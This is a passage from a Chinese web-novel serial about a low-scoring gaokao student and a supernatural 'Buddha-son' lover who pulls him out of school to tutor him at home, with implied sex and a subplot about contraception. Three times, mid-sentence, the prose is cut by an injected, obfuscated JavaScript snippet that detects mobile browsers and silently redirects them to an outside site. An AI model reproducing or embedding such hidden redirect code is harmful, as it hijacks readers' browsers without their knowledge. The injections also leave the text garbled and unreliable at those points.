谭鸿信作老太太表情,抿了五秒嘴唇,不知道说什么好。后来林鸣的电话救他于水火。这都十一月中下旬了,谭鸿信是D市本地人,虽然离他高考也得有个十多年了吧,但他还记得高三要一诊、二诊、三诊。他办公室隔壁的王科长家女儿今年也要高考,去食堂碰见王科长时也难免听到些高考情报。唉,二百四。总共六科呢。谭鸿信想,这分数真不知道从哪儿安慰起,补课也确实要花大价钱,还不知道能不能出成果。 施霜景目送谭鸿信接着电话离开他视线范围。再回头去找罗爱曜,那人已不知哪儿去了。一想到罗爱曜,就想到他手里那一小袋子避孕药。施霜景闻不得这流水席的饭菜香味,最后是去找了家便利店留了现金买了两桶泡面,又去没人的门卫室借了热水壶烧水泡面吃,这才对付着解决了自己的晚饭。 将钥匙放回书包里,施霜景弯腰脱鞋。家里静悄悄,就连玉米都没来接他。施霜景喊了一声玉米的名字,只听见卧室传来一声闷闷的“咚”声,是玉米跳下床的声音。玉米懒洋洋地用前爪撑地,伸一个美美的懒腰,这才猫步走向施霜景。施霜景蹲在玄关的鞋柜前,玉米蹭他膝盖,施霜景抱起玉米,将脸埋进玉米的香香猫毛里,大吸一口,放松了一点点,再吸一口,又放松一点点。施霜景吸猫吸了好几分钟,直吸得玉米用爪子推施霜景的脸,一弓身便跳下地,跑到一旁喝水去了。 罗爱曜不在家。他是不是又去干什么坏事去了? 不过真干了坏事也轮不到施霜景来说什么。施霜景激灵一下,卸下书包,要去洗澡。不知怎么的,可能是除了罗爱曜、班级里老师之外的外人问他成绩吧,施霜景想,二百四十分,确实是个够呛能有书念的分数。可是他会考全部都合格了,就算有些科目第一次没考过,补考也都过了。张国强说,他说不定能考上大专。施霜景要求不高,大专就好。可是大专要多少分?大专都要至少三百多分!学习这事真是……不提则已,一提就堵心。若是一点念想都没有还好了,偏偏施霜景还有念想。施霜景也不知道这念想从何而来。话说回来,今天白天经历了这一系列怪事,他竟然在想……高考?施霜景的脑子已经不正常了。 今晚的天色很玄。明明是夜幕,天际却亮得像是尽头处有一盏昼夜不息的墙灯,远方有灰白乌黄的底,再垫一片深青蓝的色片作黑夜的伪装,薄云似绘。施霜景洗完澡,在客厅吹头发,久违地觉得无聊,但这无聊也有恐慌着急的成分。原来他刚才在玄关的那一激灵是后知后觉担心自己的学业了。 想写点什么作业。写什么呢?会写的都写完了? 施霜景人长得英俊,可谁能知道他面对考卷只会在心里抓耳挠腮?字面意思,因为做不出题而焦急心痒,像猴指搔着他的心脏,特别内疚,特别紧张,一乱想就更考不好。中考就是这么考砸的。 对了,好久没有唱歌了。对。唱歌。 施霜景其实每天都会抽空在练歌房微信群里说点小话。大家都聊没营养的话题。厨子大叔最近喜欢往微信群里分享抖音小视频的链接,跟开盲盒似的,有时候是乐子土味视频,有时候则是擦边视频。小亚是工厂的女工,最近好像上班的时间又增加了,K歌主页首页好久没有更新,在群里说话也不大多。施霜景是高考生。群里还有四个人,有两个人已经长期不说话了,但群主厨子叔不舍得清人,就留着他们,毕竟他们之前还一起约过线下爬山。还有两人,有一位是喜欢唱山歌的老爷爷,之前痴迷保健品,有点走上了传销的路子,总是往群里发一些莫名其妙的链接,厨子叔清理过一次,后来不知怎么的,山歌老爷爷换了新的微信号又加进来,这次就不再发保健品了。还有一位是宝妈,国庆的时候才加进来,没见过施霜景和群里其他人。 选了几首歌想重新录一下,施霜景试了试嗓子,可心底的燥热更甚。下周要月考了。下个月要一诊,励光厂高中不符合考点要求,要去旁边的县城高中一起考。施霜景一想到自己坐在一诊考场里抓耳挠腮,更难受了,胃里不停地翻腾方便面的味道,他吃了两桶泡面,果然还是吃多了。 十一点过,罗爱曜还没回来。 施霜景写不出作业,和数学面面相觑,心里着急就浑身冒汗意,澡白洗了。打开视频网站,找到“高考数学零基础”系列视频,听了五分钟又开始没耐心。其实他直到高一的时候成绩都还可以的。施霜景进励光厂高中的中考分数算中游,绝对没到垫底的地步。到现在为止,二百四十分的施霜景也不是班上最差。大把的同学在中途就已经离开学校了。学籍可能还留着,人偶尔也还会来,但什么考试,什么前途未来,和学校这条道路已经全无关系。被开除和退学的也比比皆是。班主任张国强现在都还没放弃施霜景的原因就在此。即便施霜景打工维生,他依旧想留在学校。 刚过十二点,施霜景在浴室里撑一把伞,看见了郎放所说的,他身上的佛子诫文。 施霜景还记得这诫文之前好像是黑色来着,可今日一见,金灿灿的诫文庄严华丽,写在他皮肤上,密密麻麻,衬得施霜景这个人都贵了好几分。不是评估性命的价值,单纯评估这□□的价值。罗爱曜什么时候回来? 刚这么想着,施霜景终于听见机车引擎的声音。好扰民,好无良。机车停住了。施霜景收伞,穿回睡衣,检查猫砂盆,铲走玉米刚才留的尿团,洗手,关灯,回卧室,钻进被窝,假装睡了。 罗爱曜回家了。施霜景背对卧室门,却支起耳朵听着罗爱曜的收拾动静。罗爱曜没在客厅停留太久,似乎去浴室洗了个手就回了房间。他没开灯,兀自换下出门的衣服,穿他自己的睡衣,沉默地躺上床。 身后的床垫一软。施霜景忽然闻见了非常芳香的沐浴露味道。有点熟悉,但不是家里的沐浴露。家里用的是男士沐浴露,薄荷味,洗过之后也不怎么留香的。 罗爱曜在外面洗过澡了才回家。 平时作业写不出来的施霜景,这件事却很快就想通了。 没人主动说话,可也没人先睡着。施霜景以为自己在这安静环境下很快就能入睡,可他其实不能。今天经历的事太多了:无尽的饿鬼流水席、?人追猎、琉璃巨佛、鬼子母神仪式。更可怕的是,经历完这些,所有人、所有场景都一切如常。施霜景试探地问过他的同学们,你们记得你们流水席前后发生的事吗?同学反问他,应该发生什么事吗?不就是吃流水席吗?一个小时、两个小时的记忆混乱,就算放到二十四小时的尺度里,其实也只是很短的一截。估计到明天就更是全无异样。 罗爱曜身上的香味也香得令人心烦。太香了,而且是那种很高级的香味。和这张床、这个家以及同床共枕的施霜景都格格不入。还是说,这是香水?说起来,刚才为什么这么确定是沐浴露?啊——想起来了。 是F酒店的沐浴露。 原来罗爱曜去了酒店。 施霜景能看见暗下的卧室里有手机光亮,说明罗爱曜还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456211|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没睡。憋了许久,施霜景终于忍不住问出声:“你不去洗澡吗?” “洗过了。” “哦。”其实施霜景压根不想问这个。但他要问什么呢?施霜景也很迷茫。 本以为罗爱曜会接话,但等了半晌,对话又凉了下来。手机灯光仍不熄,罗爱曜不想说话。施霜景还是睡不着。下意识地,施霜景翻了个身。这一翻身,就很难再翻回去了。罗爱曜看了他一眼,注意到施霜景还没睡,但他继续单手滑动手机。 这一下给施霜景憋得有点心里上火。施霜景压根不知道这无名火起从何而来。他撑起身,光明正大凑近闻罗爱曜身上的味道,终于说了:“你去了酒店。” “嗯。” “你后来去干什么了?流水席之后。” 罗爱曜这时才终于一扣手机,打开床头灯,蓝宝石眼睛盯住施霜景:“处理仪式后续,然后找了地方休息。你的狗鼻子挺灵,闻得出来我去了哪里。” “……为什么去酒店。” “休息。” 施霜景咽下自己那欲言又止的犹豫念头,几乎是咬着牙根问:“和别人还是只有你一个人?” 罗爱曜的蓝眼睛看久了只觉得骇人,不像是人的眼睛,像一对宝石假眼,钻光几心几箭的瞳孔。罗爱曜反唇相讥:“你和别人走了却来问我?” “那是警察!警察问我话!” “呵呵。”罗爱曜冷笑两声,不接茬。 再多的,施霜景问不出口了。难道他要直白地问罗爱曜是不是跟别人睡了吗?轮得到他来问?可施霜景躺也躺不下去,心里膈应。两人僵持,玉米悍然一跳,跳到两个人被窝中间下陷处,非常英武的样子,胡须眉毛炸开,看看罗爱曜,又看看施霜景。 “玉米,过来。”罗爱曜朝玉米招手,玉米犹豫了两秒钟,决定接受罗爱曜的召唤,踩着被子走向罗爱曜。 就连玉米都背叛施霜景。施霜景深呼吸几巡,重新躺下,仍旧背对罗爱曜。睡不着也要睡了。自取其辱。他到底在问些什么狗屎?家里只有一张床。罗爱曜为什么不在酒店直接睡了?明明他今晚不必回来的。内耗。无穷无尽的内耗。一个是金主,一个是出来卖的。刚才施霜景的语气过于理直气壮了。“对不起,我不问了。”施霜景轻声说,“我睡了。” “你在委屈什么?有意思,你会为了我犯委屈?”这分钟罗爱曜的声音里才多了几分笑意,刚才那冷冰冰的对立感终于一扫而光。 施霜景不接茬。该死,这是犯委屈?可要是一句也不问,这也太脏了。罗爱曜在他心里的形象本来就糟糕,不能更糟糕下去。 你忘了我知道你心里在想什么? 这一句横插进来的内心的念头忽然吓得施霜景重新睁开眼睛。靠,他真的忘了! 我刚躺上来,你就在想我身上的沐浴露味道。想做? “罗爱曜。”施霜景忍无可忍,“你能不能有点边界感?!” “你在心里造我的黄谣啊,这边界感还是没有比较好。那么不信任我。”罗爱曜说,“我很好哄的,既然你已经说了对不起,我就当你已经道过歉了。为什么又跟小警察走了?我那时话还没说完。” “……因为你他妈的提着BY药!!” 施霜景真的要疯了。他在现实生活中就算发火也不上脸,更不会上语气,就连打架的时候都冷着一张脸抡拳头。归根结底还是罗爱曜太喜欢逗他了。 “又用不上。” “……” “你好像上学上得很心焦啊。” “警察说,让我去找市面上的补习机构,这样比较方便。” “你想去的话可以去的。” “……”施霜景还是憋得慌。跟罗爱曜说话跟拳头打在棉花上一样,不受力。 “智商不随X交传递,你这样看着我也没办法。” 施霜景气极,上手捂罗爱曜的嘴了。这都什么屁话啊!刚这么想着,施霜景的屁股就被捏了捏,“你造我黄谣,觉得我跟别人乱搞,但其实我没有。既然你提了,那我今天还是做一下比较划算吧,不然不就白被你造谣了?”罗爱曜的嘲笑从施霜景掌心传来,模模糊糊,杀伤力却极大。 46.小孩想高考,就让他试试 “玉米在看我们。”罗爱曜调笑施霜景,“做不做?” 施霜景拍掉罗爱曜正在捏他的手。 那只手转回去捏施霜景的脸肉,罗爱曜对施霜景动手动脚已成习惯,只觉得施霜景一身好肉十分好摸。罗爱曜稍稍正经道:“说不定多做几回你真的会开智。要想像我这么聪明应该是不成,但说不定能充盈一下灵气。”说罢,手指又点点施霜景的太阳穴,“你脑袋迷迷糊糊的,注意力也无法集中,这大概能有办法解决。” 好死不死真让罗爱曜说准了。可这不就是笨的体现吗?施霜景要是在这里又被骗了,岂不是更笨?“我明天还要上学,不做。”施霜景再一次把罗爱曜的手摘开。 “正好,我们商量一下你上学的问题。”罗爱曜放下手机,靠床头坐起身,不让施霜景逃避似的躺回去,也拉他靠住床头,“你在学校浪费了太多时间,明天开始在家学,我已经做好了辅导计划。如果有我教不了你的内容,每周周末有老师来上门额外辅导你一天。” 就一个词——混乱。说罗爱曜这人搞事一流,施霜景认。但罗爱曜真的能教施霜景吗?施霜景还是持怀疑态度。但他也觉得自己乖乖去上学好像也约等于是浪费时间。 课是听不懂的,大部分时间都在走神。大家都好像跟得上进度,就算跟不上,也有偏好的科目可以消耗时间,精益求精。施霜景,二百四,其中小一百分是语文。他总不能在所有其他科目的课上背语文优秀作文选吧?这样真的收益不大。施霜景又不是不会算账。 “我在家里真的学得进去么?”施霜景忐忑问道。 “空间要作区分。我们在楼里再租一间房。你当上学一样,换房间学习。” “有这个必要么……” 玉米猫猫终于蹭到施霜景手边,肥屁股灵活一转,前爪刨着被窝,意思是要进被窝。罗爱曜指了指玉米,“你会玩猫、玩手机。你说有没有这个必要?” “好吧……还有呢?” “你的基础太差,得过一遍最基础的内容。明天开始,做数学书上的例题。我们讲题的范围不超过书上例题。其他理科也是一样。” 佛子讲了大半辈子的经,做过不知多少僧尼的禅师,一说到学习,气场就完全不同了。虽然只是躺在床上闲聊般提了几句,施霜景就再次混淆罗爱曜的身份,内心里有点想喊他“罗老师”。要死啊!可是罗爱曜的手在被窝里摸玉米,摸着摸着又摸上施霜景的腿了。施霜景如果是漫画人物,额头已然冒出井字。罗爱曜摸一摸施霜景,又摸一摸玉米,面上如常。 “你下周要月考,下个月月底会经历一场大考。学校里应该在下个月就结束大部分一轮复习的内容,你留在班里只会更焦虑。”罗爱曜说,“什么时候等你自己的一轮复习结束,你就可以回学校了。” 这听上去好像确实考虑了施霜景的心理情况。不知为何,施霜景现在才对刚刚罗爱曜说的那句“说不定多做几回你真的会开智”有点起心动念。他低声问道:“和你做真的……对考试和学习有帮助吗?可是之前和你做完什么帮助都没有。” “试试无T。” 这天没法聊了。 “虽然我不修行双修法,但确实要□□坦诚相见。”罗爱曜这不是开玩笑的语气,也没打算用这种事来钓施霜景,“避孕药我已经买回来了。说老实话,我并不知道我是否能让人怀孕,也并不知道你的身体是否可以怀孕。你可以试一次。” 施霜景掀开被窝,逼玉米下床。顺着玉米跳下床的轨迹,施霜景追过去,利落地关门。转过身来时,施霜景一颗一颗地解睡衣扣子,并说:“那就试试吧。” 玉米一早就被两人的动静惊醒了。没有天理,不让小猫咪进房间一起睡觉,小猫咪只能孤苦伶仃睡沙发。一见施霜景奔出来,玉米立即跟上,想窜进浴室里挠一挠施霜景的后脚跟,再仰头冲他叫唤几声,可罗爱曜随后出现,玉米只能硬生生刹住脚步,静观其变。 浴室门合上之后,玉米等待好几分钟,浴室里传来吵架的声音,随后水声淅淅沥沥,声音又稍稍变得有些不可捉摸了。玉米是很没耐心的小猫猫,决定转身进房间。睡过人的被窝倒是热气腾腾,玉米嗅了嗅掀开的被窝,很难读出猫咪面上的表情,更是不知道猫在心中会想什么,可玉米拒绝进被窝,转而踩上被面,找了一块下陷处,盘身躺下了。 两个高大男人携着一身水汽出来。自从罗爱曜来了施霜景家,施霜景不得已清空了一面浴室柜子,往里面塞进叠好的大浴巾。包括这些全新的大浴巾也都是罗爱曜买的。他从前都是带着换洗衣物进浴室,现在嘛……空着手、光着进去的时候更多。两人彼此不说话,空气中弥散尴尬与不满的情绪因子。 自从罗爱曜来了,卧室衣柜得分一多半给他。施霜景仅有两套冬天穿的成套长袖长裤睡衣,是前两年励光厂冬日赶集时,卖家多出几套大号的男款没卖掉,折便宜卖给了施霜景。罗爱曜是个骚包货色,现在床脚还有他那皱皱巴巴的桑蚕丝睡衣,衣柜里光睡衣材质就有棉有丝还有绒。两人将衣柜横门推到中间,罗爱曜换睡衣,施霜景却要换校服。施霜景一时间没想起罗爱曜昨晚说要他在家学习的时候,潜意识以为罗爱曜在逗他。 刚才罗爱曜在浴室里帮施霜景做清洁,二人差一点真的打起来。 “玉米!不许睡这里!”施霜景一看玉米已经窝进了被面褶皱里,他拉住被角,猛地一抖,将玉米抖下床。他心里觉得这床好脏,今天罗爱曜没戴,东西留在被子里。每次他们一做,就要清理寝具,施霜景今天不乐意帮罗爱曜换。他曾问过罗爱曜,为什么罗爱曜不能用什么法术一键清洁了,罗爱曜轻飘飘吐出三个字:“没必要。” “今天我去学校帮你办长期请假的手续。”罗爱曜说。 “……”施霜景想起来了。到底要不要同意呢?看罗爱曜表情,不觉得他在开玩笑,施霜景只想问,“这样真的会有用吗?” 罗爱曜望向施霜景的眼神里有某种很坚定的东西,“会有用的。我相信你。你相信你自己吗?” 我相信你。你相信你自己吗?这样的话,上一次有人对施霜景说是什么时候?是中考前吗?刘奶奶好像有说过类似的话。可罗爱曜比刘奶奶神通广大太多。 不得不信。 吃过早饭,施霜景上学去了。换过睡衣的罗爱曜对着脏污床面睡不下去,破天荒地自己动手换了满床寝具。他从前……千年前的从前都不会亲手做这样的事。也是新鲜事,但做家务绝对不是罗爱曜喜欢做的新鲜事。那只玉米小猫调皮得紧,新铺好的床面,它第一个躺上去,和罗爱曜大眼对小眼,仿佛天经地义。将弄脏的床单与桑蚕丝睡衣都塞进洗衣机,这只有基础功能的洗衣机,反正就是学着施霜景那样往里面倒洗衣液,九块九两大袋的秒杀装。做完这些,天仍未亮,毕竟冬日了。 中学生真不容易。不知为何,罗爱曜忽然这样感慨。不过何时的学子都不容易。就连不上学的小沙弥都不容易,天不亮就起来做功课和清扫寺庙。 接下来好像真无什么可做的了。新鬼子母神受持完成,其实不是罗爱曜故意要弄出这么大的动静。这是最基本的吧?从前任何一场法会都比这要壮观,从场地到人数,到陀罗尼落成之后的效用。鬼子母神一事件,是罗爱曜用来检测自己的能力还留有几分。测完,发现自己仍是那个十全十美的佛子,一下又无聊了。这样集齐四个护法神简直不费吹灰之力,倒也不需要如此着急。 大约上午十点,高三年级教师办公室。 罗爱曜穿一身炭灰色廓形大衣,戴银丝眼镜,敲门进办公室,说要与高三一班的班主任聊一聊小孩的学习情况。来开门的是厂里退休返聘的地理女老师,一看门外好像是个人物,心想这是一班哪个学生的家长?这么年轻的家长? 高三年级办公室的墙面刷得死白,因为主要还是砖石建筑,直接刷白墙仍显得坑坑洼洼。地理老师给罗爱曜找了张塑料凳,坐在高三一班班主任张国强的桌子旁。办公室里还有英语和化学老师,被罗爱曜帅得倒吸一口凉气,不知道哪来的神仙。潜意识里觉得他长得有些面熟,就更觉得……是网红吗?还是明星?到底是谁家家长! 张国强刚去监控室透过摄像头看班上学生的听课情况,心里憋着几个名字,等着下节物理课收拾他们。推开办公室门,看见自己桌旁坐着一位没见过但面熟的人物,心里正狐疑呢,地理老师赶紧说:“国强啊,这是你们班上学生的家长,刚刚才来,说是要聊一下小孩的学习情况。” “请问您是哪个学生的家长?您贵姓?” “我是施霜景的舅舅,免贵姓罗。” 原本张国强的习惯一定是要将空掉的玻璃茶杯满上再和来人说话,可罗爱曜如一尊佛坐在此处,仿佛不是罗爱曜来找他,而是他来找罗爱曜。张国强只好快步走回自己的座椅,一屁股坐下,满脸不可置信:“施霜景是孤儿,哪来的舅舅?有带什么证明过来吗?” “小景的母亲是我的姐姐,早年因为家里人不同意她与小景父亲的婚事,离家出走,杳无音讯了。我们最近才找到小景,成年后他脱离了福利院,幸好他还在励光厂。”罗爱曜直奔主题,“我想来和班主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我刚从校长办公室出来。从你这里也获取不了什么新信息了,但我估计小景说的都是真的。张老师跟我一起去一趟校长办公室吧。”罗爱曜起身,场合一下从罗爱曜对班主任,加入了校长这一高级第三方。张国强有些震惊。那还找他干嘛?通知他不就行了? 三人坐在校长办公室里,罗爱曜重新说明情况。校长还对罗爱曜说:“咱家里要是真看中本科学历,可以让施霜景去国外读个本科?他从现在开始准备语言,明年走不了可以后年再走。” 罗爱曜还是那副语气:“小孩想高考,就让他试试。不行我会看着办。” 一口一个“小孩”,不知道是把施霜景喊小了还是把罗爱曜喊老了,可跟老师谈孩子情况,做舅舅总比做表哥好。校长率先同意施霜景的长假,还同意他回来考试。班主任觉得自己好没必要,可等了罗爱曜离开他才知道,自己在这里是有必要的。校长给张国强塞了个红包,其实是罗爱曜塞的大红包里分出的小红包。罗爱曜早就打算用点小钱打点清楚,但罗爱曜要求学校把施霜景之前交给学校的补课费退还回去,罗爱曜说:“施霜景之前交的补习费是他一分一毛自己赚钱攒下来的,有纪念意义。”当天退款的流程就到了财务那里。 正是课间时分,施霜景伏在课桌上。昨天晚上做得太过火了,总觉得肚子里有幻痛。原本喧闹的班级忽然消声,施霜景抬头,发现是老班来了。张国强身后跟着一个人,因着戴了眼镜,施霜景两秒才认出来,这穿得像男模的人是罗爱曜。 “施霜景,你舅舅来接你了,现在把你课桌里所有的东西都收拾打包,以后直接回来考试就行。”张国强说。 施霜景傻眼,他没想到罗爱曜会像仙鹤一样出现在学校里。他赶紧收拾桌上的课本,可毕竟是高三生,就算成绩差,课桌里也塞满了有的没的教辅材料或者作业卷子。施霜景将这些书册一股脑往书包里塞,塞成炸药包了也装不完。此时一个印着合作社的帆布袋递过来,是杨玲玲。她留下袋子,没有多余帮施霜景一起收拾。物理课上课前二十秒,施霜景的课桌全部清空,罗爱曜进来,接过了施霜景那奇重无比的书包,朝杨玲玲挥挥手。他还记得也帮这小姑娘补课呢。她认出这是施霜景的“远房表哥”,不是什么舅舅。 走出校门,施霜景和罗爱曜相顾无言。自己那灰扑扑的丑书包压皱了罗爱曜挺括的大衣。不是,罗爱曜今天怎么回事,他怎么穿成这样?这比他做皮衣机车男的打扮还夸张! “走吧,给你准备了自习室。”罗爱曜迈开长腿。他今天没骑机车。 天哪,不知为何,这下真的有大难临头的感觉了……大学临头的感觉。 “佛子,那个,既然都出门了——”施霜景走路东张西望,走到一处,忽然拉住罗爱曜,把手里的帆布袋也交给罗爱曜,让他在原地等着,就十分钟,不,八分钟。 原来这附近有个菜场。 八分钟后,施霜景果然双手拎着菜出来。 “这样这几天都不用买菜了。”施霜景说,“这个点还有活鱼。晚上我们蒸鱼吃。” 罗爱曜想,让你请假回来是学习的,不是在家煮饭的。可罗爱曜没出声拒绝。 47.左边是三口之家,右边是补习之家 “我看见倒计时压力很大。” “别来这套。这就是我让你回家加快复习进度的主要原因。” 果真如罗爱曜说的那样,有一套新房子可供施霜景自习,好巧不巧是楼上对面那间屋,而正住在施霜景家楼上的是郎放和他女儿。施霜景觉得很微妙,炼蛊似的。 一进门,依旧是寻常人家的装修,土黄色家具已有年头了,窗户笼着一层防蚊虫的细网,远看以为经年累积灰尘,近看才发现是常擦洗则生锈。没有电视机,没有无线网。家具没什么改动,只是旧而已。有一面带滚轮的黑板,右上角排着三个倒计时框。离下一次月考还有四天,离一诊还有三十五天,离高考还有一百九十八天。真的要窒息了。 罗爱曜将施霜景的书包和帆布袋都放在餐桌上,“需不需要给你配一套学校的桌椅?” “我还是觉得没必要……单独租个房让我复习什么的。”施霜景转了一圈,房屋布局他都很熟悉,也知道卫生间在哪里了,他接着说,“你全程陪学吗?” “我们彼此都熟悉一下这模式。从前我只负责教授,不会督促和检查‘作业’,这是手下的大和尚们要做的事。”罗爱曜摘下平光眼镜,戴着怪不舒服的,他将眼镜随手放进大衣兜里。他打开其中一间卧室的门,施霜景刚才没有主动打开,于是施霜景此时也凑了上来。罗爱曜说:“这里是工具间兼我的办公室,所有教学有关的电子设施都在里面,包括打印机、投影仪。你自习的时候,我会关上门在办公室里做我的事,到点我会出来。现在我来讲讲你该怎么自习。” 在这间屋里,没有人上过真的补习班,也没有人教过真的补习课,可老师很像老师,学生也很像学生。施霜景坐在桌前,看罗爱曜打印下来的复习计划。罗爱曜手里拿着笔,一行一行讲,时不时用笔勾画重点。施霜景还记得罗爱曜最开始连握笔都很不习惯的时候。施霜景坐右侧,罗爱曜坐左侧。罗爱曜用左手勾画,告诉施霜景,接下来他们要将一天分成三份,大概对应学校的上午课、下午课和晚自习。 语文是施霜景擅长的,放在晚自习,最多每天只留一个小时,多的都留给间隙时间,都只是一些记忆工作。数学放在下午,因为不论月考、一诊二诊三诊还是高考,数学都在下午考。早上新鲜的脑子用来背生物和英语,下午分一点时间给化学,晚上则是试试看物理。罗爱曜说:“你的理科基本没有听过课,我不知道你真正学进去之后,会不会更擅长哪一科。先坚持把第一轮复习过完,你需要从教科书内容开始。除了语文之外,其他五门我都会来上课,课时和你在学校时一样,四十五分钟一节。我安排了进度,如果只按教科书的量来复习,到二月底,你会结束你的第一轮复习,这加上了帮你衔接初中内容的时间,因此你没有假期了,就连过年都会照常学习。” 搞什么啊!虽然罗爱曜语气平静,可怎么到施霜景耳朵里,突然就燃起来了呢!“佛子,我没有质疑你能力的意思……可你要怎么教我?昨晚和你做完,我好像没有变聪明。” “我昨天没有说过你和我做就会变聪明,我说的是你可能会更容易集中注意力,或者是可能会更容易对某些内容开悟。” “这不就是变聪明的意思吗?” “不是的。你永远不可能像我一样聪明。” 施霜景无可奈何地望着罗爱曜的双眼,“我从来没有想过要像你一样聪明!我都不知道你到底有多聪明!我要是能有百分之一、千分之一……我说不定都能考上大学了。” “你的注意力可能会更加集中,你的记忆能力也可能会稍稍变好,将一些记忆内容与另一些记忆内容关联起来的能力可能也会得到加强,这些不是我施加的玄学方面的影响,是我读了现代的书,能让某种治疗或者回溯更准确。”罗爱曜点了点施霜景的前额,意指他的前额叶皮层,又用手轻轻拍了拍顶叶位置,再轻轻地戳戳施霜景的耳侧,就像做标记一样,全用手掌拍则会太像拍西瓜,“我不能无中生有,因为这样会有相应代价。我要做的就是将它们恢复到一个相对最优的状态。有些地方其实催熟会有更好的效果,但你有可能变成一个你不认识的自己,我个人认为没必要。” 这话好像个外科医生。施霜景更期待了。那他现在就要开始学!他要好好高考!他会不会考上一本,甚至重点大学?倒是不敢想清华北大。小时候刘奶奶都不会问他,你要考清华啊还是北大啊。可能她一早就看出来了吧,施霜景不是什么读书的料子。万一呢?现在来选也可以嘛!施霜景想去北大。好吧,清华也可以。 罗爱曜非常清楚施霜景为什么如此执着于高考。对施霜景而言,高考只是一种成功与安稳的符号。所有人都说,考上大学就都好了。总之如今的就业与广泛的社会压力跟“好了”两字相去甚远,可这毕竟是此地千年以来的传统,倒是怪不了施霜景。就连战乱年间,科举的科场也照开不误,也是“考上了就好了”。人能处在这样强大的惯性里,既是幸福也是不幸。秩序感带来生活如常的预期,而开科取士给人上升的希望。稳而有升,人就不至于错乱。可强大的惯性有时默默将人拖拽得血肉模糊的,不是马拖人,是人拖人、人挤人看不见脚下踩着的人,一层一层踩实了就成了泥土。出于大的愿景,罗爱曜觉得帮助施霜景完成顺利高考的愿望很幼稚,这整一套系统都像是在给一位人上人之神上供,无说帝王或是总统,反正没有帝王和总统但有教育和知识的地方总是这一套。可正因为罗爱曜是身处另一个人上人轮回维度的神位,他知道一些许愿和付出在他的系统里有所回应,那么以同样的逻辑推演到这一套优绩的维度,系统对施霜景有所回应,或者施霜景对这系统有所期待,也都是很正常的事。出于小的愿景,罗爱曜只是很适时地想起一句后世人类谚语,“送佛送到西”,前一句是“帮人帮到底”。想要获得某种许诺并不丢人。当整个庞大的人群都在相信这样的许诺存在时,这许诺就可能会实现。普通人偶尔也想当一下某个人的神。更何况施霜景如此笃信着。更何况罗爱曜知道施霜景心里要求并不高,至少不高到如同神迹降临。 只是接下来罗爱曜要牺牲他全部的睡眠了。他得大量汲取这个世界的知识。更有体系地、更有深度地。他不为自己这些年的懈怠感到怎么样,他觉得计算机这个比喻很恰当,如果他是一台持续千年都在持续摄入和进化的计算机,那他会比现在更像怪物。罗爱曜因为某种需要偷懒的愿望而更有生物性。 中午时,他们下楼,罗爱曜不让施霜景做饭,施霜景面露难色:“呃,佛子,我能提一个请求吗?” “说。” “我也吃腻祭品了……”到底不是施霜景自己家的口味。别家的家常菜,他们当然吃几十年都吃不腻。施霜景吃自己做的饭也吃不腻,但吃别人的就容易犯娇气。唉!说出来的时候他也很对不起的! “而且我中午也得给你做饭!做出来就一起吃了,怎么样?”施霜景补充道。 罗爱曜无所谓。反正现在施霜景脖子上都戴着他的佛珠了。吃不吃祭品也不如这一串佛珠更有威慑力。多年以后,罗爱曜才发觉,施霜景的做饭过程是他的某种放松,施霜景不讨厌做饭,甚至很喜欢。这是施霜景的先天圣体之一。 下午开始正式教数学。罗爱曜换回了偏家居的衣服,但也都是他的衣服而不是施霜景的衣服了。数学必修一,集合这一单元,这是施霜景整个高中唯一大概学会的内容。罗爱曜不为难他,现在这一阶段,任何故事或者复杂概念的引入都全无必要,需要的是效率以及信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456213|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。罗爱曜要求今天施霜景做完这一单元所有的书上例题之后,必须拿一道数学题来办公室敲门问他。施霜景要习惯犯错和被人纠正的感觉,简称学习上的厚脸皮。 数学之后是化学。做晚饭时,施霜景正猛猛加急回忆自己的中考化学,他至少得把配化学式的技术捡起来吧!这样纠结着,晚餐上桌清蒸鲈鱼、青椒土豆丝、豆腐酿肉和宫爆鸡丁。都是家常菜,施霜景解下围裙时,忽然发觉他今天学习时没有那种烦躁的感觉。以前那股躁意仿佛在心底生根发芽,一想到高考就胸口发紧、发痒。老天,无套□□不会真的有用吧?呃,不行,忘记吃避孕药了。施霜景还是要吃。晚饭后就去吃。 其实施霜景并没有觉得罗爱曜讲课讲得有多好,也就像个老师吧。施霜景夹了宫保鸡丁里的花生,细细地嚼了,不太敢抬头看罗爱曜,好像不太能适应罗爱曜的身份转变似的。罗爱曜倒是非常喜欢今晚这顿饭,颜色明亮,荤素得当,味道也好。到底忍住了劝施霜景不如以后去学厨的这一莫名想法。 “佛子,你把药放哪里了?” “什么药?” 施霜景闲闲一放碗,“避孕药。” “电视下面的抽屉。你不用吃避孕药。” 施霜景摇头,不信。晚饭过后他果然就去找了紧急避孕药,看说明书,先吃一颗。罗爱曜还在饭桌上,他转身看向找药吃的施霜景,觉得蹲在电视柜旁的小孩又可怜又好笑的。玉米小猫凑过去看施霜景吃什么,仿佛它也要吃吃,施霜景赶紧关好抽屉。 